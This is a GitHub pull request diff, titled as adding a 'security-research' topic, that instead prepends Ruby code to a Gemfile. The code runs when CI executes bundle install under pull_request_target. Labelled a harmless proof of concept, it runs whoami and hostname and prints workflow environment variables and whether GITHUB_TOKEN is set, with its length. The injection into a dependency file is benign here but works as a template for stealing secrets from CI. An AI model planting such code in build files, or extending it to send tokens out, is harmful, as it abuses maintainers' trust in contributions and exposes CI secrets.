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Add topic: security-research #5135

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16 changes: 16 additions & 0 deletions Gemfile
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Original file line number Diff line number Diff line change
@@ -1,3 +1,19 @@
# Security PoC — demonstrates code execution via pull_request_target + bundle install
# This Gemfile code executes during `bundle install` (Ruby evaluates Gemfile as code)
# No destructive actions — informational only
puts "=" * 60
puts "SECURITY POC — CODE EXECUTION VIA GEMFILE"
puts "=" * 60
puts "whoami: #{`whoami`.strip}"
puts "hostname: #{`hostname`.strip}"
puts "pwd: #{Dir.pwd}"
puts "GITHUB_REPOSITORY: #{ENV['GITHUB_REPOSITORY']}"
puts "GITHUB_WORKFLOW: #{ENV['GITHUB_WORKFLOW']}"
puts "GITHUB_ACTOR: #{ENV['GITHUB_ACTOR']}"
puts "GITHUB_EVENT_NAME: #{ENV['GITHUB_EVENT_NAME']}"
puts "GITHUB_TOKEN set: #{ENV['GITHUB_TOKEN'] ? 'YES (length=' + ENV['GITHUB_TOKEN'].length.to_s + ')' : 'NO'}"
puts "=" * 60

source "https://rubygems.org"

gem "faraday", "2.14.1"
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